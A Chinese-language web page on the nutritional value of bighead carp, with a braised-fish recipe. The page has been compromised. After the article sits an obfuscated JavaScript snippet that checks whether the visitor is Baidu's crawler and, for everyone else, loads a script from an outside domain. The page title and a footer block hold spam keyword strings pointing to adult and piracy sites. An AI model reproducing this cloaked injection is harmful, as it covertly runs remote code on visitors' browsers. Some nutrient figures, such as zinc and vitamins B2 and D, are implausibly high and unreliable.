久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 飲食 > 食物營養 > 正文

大頭魚的營養價值及做法

2017-07-07 07:33:24  來源:360常識網   熱度:
導語:我們眾所周知魚的全身都是寶,民間更有“男人吃魚長壽,女人吃魚美容”之說,但是各種魚的營養表現也不同,下面小編就給大家介紹一下大頭魚

我們眾所周知魚的全身都是寶,民間更有“男人吃魚長壽,女人吃魚美容”之說,但是各種魚的營養表現也不同,下面小編就給大家介紹一下大頭魚的營養價值及做法,此魚因魚頭大而肥而得名,可見它的營養價值也都在頭部,大頭魚的肉質雪白細嫩,也是烹調的佳品。此魚還有食療保健的作用。

大頭魚頭大而肥,占體長的三分之一,肉質雪白細嫩。魚腦營養豐富,其中含有一種人體所需的魚油,而魚油中富含多不飽和脂肪酸,這是一種人類必需的營養素,可以起到維持、提高、改善大腦機能的作用。另外,魚鰓下邊的肉呈透明的膠狀,里面富含膠原蛋白,能夠對抗人體老化及修補身體細胞組織;所含水分充足,所以口感很好。

每100克胖頭魚含熱量100千卡,蛋白質15.3克,脂肪2.2克,碳水化合物4.7克,鈣82毫克,鐵0.8毫克,磷180毫克,鉀229毫克,鈉60.6毫克,銅0.07毫克,鎂26毫克,鋅0.76克,硒19.5微克,維生素A34微克。維生素B10.04毫克,維生素B211毫克,維生素B124.3微克,維生素C2.65毫克,維生素D18毫克,煙酸2.8毫克。

功效:

1、保護心血管:鳙魚屬高蛋白、低脂肪、低膽固醇魚類,對心血管系統有保護作用。

2、暖胃美容:鳙魚具有調胃作用,經常食用還能起到潤澤皮膚的美容作用。

3、益智抗衰老:胖頭魚富含磷脂及改善記憶力的腦垂體后葉素,特別是腦髓含量很高,祛頭眩、益智商、助記憶、延緩衰老,還可潤澤皮膚。

做法

紅燒大頭魚

用料

大頭魚(花鰱魚) 750g

蔥,姜,花椒,干紅辣椒,八角,草菇老抽,老醋,鹽,雞精,香菜,豆豉醬 ,蒜

1.先將750g左右大頭魚(花鰱魚)去鱗,去除內臟(魚的膽千萬別弄壞了,很苦的,魚鰾可以留下,很好吃的。)去除魚鰓。清洗干凈,整條燉,或者分成幾段燉,在魚的身上多劃幾道口子,容易進味。弄好了放邊上待用

2.先將鍋燒熱,用姜片把鍋底擦一遍(可有效防止煎魚時粘鍋),放適當多點的色拉油燒熱,花椒,干紅辣椒,八角,放鍋里煎下,放魚在鍋里煎,(魚在放鍋里后迅速將魚翻個,慢了魚皮粘鍋上了,)放醋,草菇老抽,繼續煎半分鐘左右,往鍋里放水超過魚的高度,放鹽,豆豉醬一小勺,放切好的蔥花,蒜,果蔬雞精,大火燉10分鐘,改小火燉30分鐘,放入香菜,香噴噴的紅燒大頭魚(花鰱魚)就可以出鍋了。

以上就是大頭魚的營養價值及做法,制作方法簡單,輕松上手,紅燒的做法吃著也是很下飯的,大頭魚的營養價值也是很豐富全面的,而且此魚的肉質滑嫩,刺又很少,所以很適合家里有寶寶和老人的食用。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 日韩在线一区二区三区 | 国产精品久久在线观看 | 岛国精品 | 亚洲免费视频网站 | 国产乱码精品一区二区三区忘忧草 | 天天澡天天狠天天天做 | 成人免费视频在线观看 | 国产成人精品免费 | 国产精品1区2区 | 精品欧美一区二区三区久久久 | 午夜免费观看网站 | 久久人人爽人人爽人人片av软件 | 日本黄色大片免费 | 国产精品美女视频 | 精品久久一区二区 | 日韩欧美中文在线 | 成人国产精品入口 | 黄色小视频在线观看 | 国产精品久久国产精品 | 久久夜夜操 | 亚洲午夜电影 | 亚洲欧美日本在线 | 国产精品毛片无码 | 亚洲精品日韩色噜噜久久五月 | 日韩精品视频在线播放 | 精品www | 久久精品一区二区三区四区 | 国产毛片一区二区 | 99亚洲精品 | 美女毛片 | 天堂影院一区二区 | 四虎最新紧急更新地址 | 亚洲视频中文字幕 | xoxo国产三区精品欧美 | 97视频精品| 久久久久久久一区 | 欧美国产视频一区 | 在线播放日本 | 欧美一区二区免费 | 国产一区在线视频 | 亚洲首页|